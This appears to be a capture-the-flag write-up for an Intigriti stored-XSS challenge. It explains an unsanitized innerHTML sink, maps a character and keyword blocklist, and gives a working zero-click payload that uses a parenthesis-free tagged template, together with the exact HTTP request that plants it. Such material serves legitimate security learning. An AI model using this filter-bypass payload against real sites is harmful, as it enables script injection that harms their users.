← Back to list

Intigriti Challenge 0526 — Writeup: Stored XSS via SCA Shield Bypass

Challenge: challenge-0526.intigriti.io/challenge Type: Stored XSS Author: @rehman0g0

Skin Security · 2026-05-25 19:46 · 0 claps · 1.4 min read
#0526 #intigriti-challenge-0526 #ctf-writeup #intigriti #may-challenge
Open on Medium ↗
Wiki topics: LIT · Literature & Writing

Intigriti Challenge 0526 — Writeup: Stored XSS via SCA Shield Bypass

Challenge: challenge-0526.intigriti.io/challenge Type: Stored XSS Author: @rehman0g0

Overview

This month’s Intigriti challenge was “Pixel Pioneers” — a retro arcade SPA with user registration, a testimonials feed, and a custom “SCA Shield v1.0” protecting input. Goal: pop an alert on the domain. This turned out to be an unintended solution which Intigriti confirmed.

Finding the Sink

Reading /js/app.js, one line immediately jumped out inside loadTestimonials():

nameDiv.innerHTML = t.user_name;               // ← no sanitization
textDiv.innerHTML = DOMPurify.sanitize(t.content); // ← content is safe

Display name goes straight into innerHTML. Whatever HTML you store as your display name executes for every visitor. Classic asymmetric sanitization bug.

Understanding SCA Shield

Sending <img src=x onerror=alert(1)> to /api/profile via Burp:

SCA Shield: Malicious characters detected!
Quotes, parenthesis, dots, commas, and semicolons are strictly forbidden.

Blocked characters: " ' ( ) . , ;

Trying <svg onload=alert\1>:

SCA Shield: Malicious payload signature detected!

Two layers — character blocklist and keyword blocklist. Mapping it out via Burp Repeater:

Payload         Result

alert           ❌ Blocked
confirm         ❌ Blocked
onload          ❌ Blocked
onerror         ❌ Blocked
onfocus         ✅ Pass
throw           ✅ Pass

The Bypass

alert and confirm blocked by name. () blocked. But throw and onfocus both pass.

Key insight: JavaScript’s throw statement evaluates whatever expression follows it. So:

throw/**/confirm`1`

This calls confirm as a tagged template literal — no parentheses needed. The /**/ is just a comment separator. Every character here passes both blocklist checks.

Add autofocus + onfocus for zero-click auto-trigger:

<input autofocus onfocus=throw/**/confirm`1`>

Exploit

Send via Burp Repeater:

POST /api/profile HTTP/2
Host: challenge-0526.intigriti.io
Content-Type: application/json

{"name":"<input autofocus onfocus=throw/**/confirm`1`>"}

Then submit any testimonial. When #testimonials loads, nameDiv.innerHTML = t.user_name injects the payload and autofocus fires onfocus instantly — dialog pops on challenge-0526.intigriti.io. ✅

Thanks to @KulinduKodi for the challenge. Drop a comment if you found a different path!

— @rehman0g0


메타데이터
post_id
4db331a2f6b7
slug
intigriti-challenge-0526-writeup-stored-xss-via-sca-shield-bypass-4db331a2f6b7
url
https://medium.com/@skin-security/intigriti-challenge-0526-writeup-stored-xss-via-sca-shield-bypass-4db331a2f6b7
canonical_url
https://medium.com/@skin-security/intigriti-challenge-0526-writeup-stored-xss-via-sca-shield-bypass-4db331a2f6b7
author_url
https://medium.com/@skin-security
status
ok
fetched_at
2026-06-27 07:40:21